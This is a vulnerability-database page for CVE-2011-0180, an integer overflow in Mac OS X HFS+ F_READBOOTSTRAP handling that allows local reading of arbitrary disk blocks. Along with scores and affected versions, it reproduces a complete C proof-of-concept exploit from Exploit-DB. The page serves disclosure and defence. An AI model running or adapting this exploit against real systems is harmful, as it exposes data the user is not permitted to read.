CVE-2011-0180 : Detail

CVE-2011-0180

0.09%V4
Local
2011-03-23
01h00 +00:00
2024-09-16
18h24 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Integer overflow in HFS in Apple Mac OS X before 10.6.7 allows local users to read arbitrary (1) HFS, (2) HFS+, or (3) HFS+J files via a crafted F_READBOOTSTRAP ioctl call.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 35488

Publication date : 2011-03-20 23h00 +00:00
Author : Dan Rosenberg
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/46982/info Apple Mac OS X is prone to a local information-disclosure vulnerability because of an integer-overflow error in the HFS subsystem. A local attacker can exploit this issue to obtain sensitive information that may lead to further attacks. Due to the nature of this issue, local attackers may be able to execute arbitrary code in the context of the kernel, but this has not been confirmed. Versions prior to OS X 10.6.7 are vulnerable. NOTE: This issue was previously discussed in BID 46950 (Apple Mac OS X Prior to 10.6.7 Multiple Security Vulnerabilities) but has been given its own record to better document it. /* * Apple HFS+ F_READBOOTSTRAP Information Disclosure * by Dan Rosenberg of Virtual Security Research, LLC * @djrbliss on twitter * * Usage: * $ gcc hfs-dump.c -o hfs-dump * $ ./hfs-dump [size] [outfile] * * ---- * * F_READBOOTSTRAP is an HFS+ fcntl designed to allow unprivileged callers to * retrieve the first 1024 bytes of the filesystem, which contains information * related to bootstrapping. * * However, due to an integer overflow in checking the requested range of * bytes, it is possible to retrieve arbitrary filesystem blocks, leading to an * information disclosure vulnerability. * * This issue was originally reported to Apple on July 1, 2010. The fix was a * single line long and took more than 8 months to release. No gold stars were * awarded. * */ #include <stdio.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/fcntl.h> #include <sys/mman.h> int main(int argc, char * argv[]) { int fd, outfd, ret; long num; unsigned char * buf; struct fbootstraptransfer arg; if(argc != 3) { printf("[*] Usage: %s [size] [outfile]\n", argv[0]); return -1; } num = atol(argv[1]); outfd = open(argv[2], O_RDWR | O_CREAT, 0644); if(outfd < 0) { printf("[*] Failed to open output file.\n"); return -1; } ftruncate(outfd, num); buf = (unsigned char *)mmap(NULL, num, PROT_READ | PROT_WRITE, MAP_SHARED, outfd, 0); if(buf == MAP_FAILED) { printf("[*] Not enough memory.\n"); return -1; } arg.fbt_buffer = buf; arg.fbt_offset = num * (-1); arg.fbt_length = num; fd = open("/", O_RDONLY); if(fd < 0) { printf("[*] Failed to open filesystem root.\n"); return -1; } ret = fcntl(fd, F_READBOOTSTRAP, &arg); if(ret < 0) { printf("[*] fcntl failed.\n"); return -1; } printf("[*] Successfully dumped %lu bytes to %s.\n", num, argv[2]); return 0; }

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.6.6

Apple>>Mac_os_x >> Version 10.6.0

Apple>>Mac_os_x >> Version 10.6.1

Apple>>Mac_os_x >> Version 10.6.2

Apple>>Mac_os_x >> Version 10.6.3

Apple>>Mac_os_x >> Version 10.6.4

Apple>>Mac_os_x >> Version 10.6.5

Configuraton 0

Apple>>Mac_os_x_server >> Version To (including) 10.6.6

Apple>>Mac_os_x_server >> Version 10.6.0

Apple>>Mac_os_x_server >> Version 10.6.1

Apple>>Mac_os_x_server >> Version 10.6.2

Apple>>Mac_os_x_server >> Version 10.6.3

Apple>>Mac_os_x_server >> Version 10.6.4

Apple>>Mac_os_x_server >> Version 10.6.5

References

http://support.apple.com/kb/HT4581
Tags : x_refsource_CONFIRM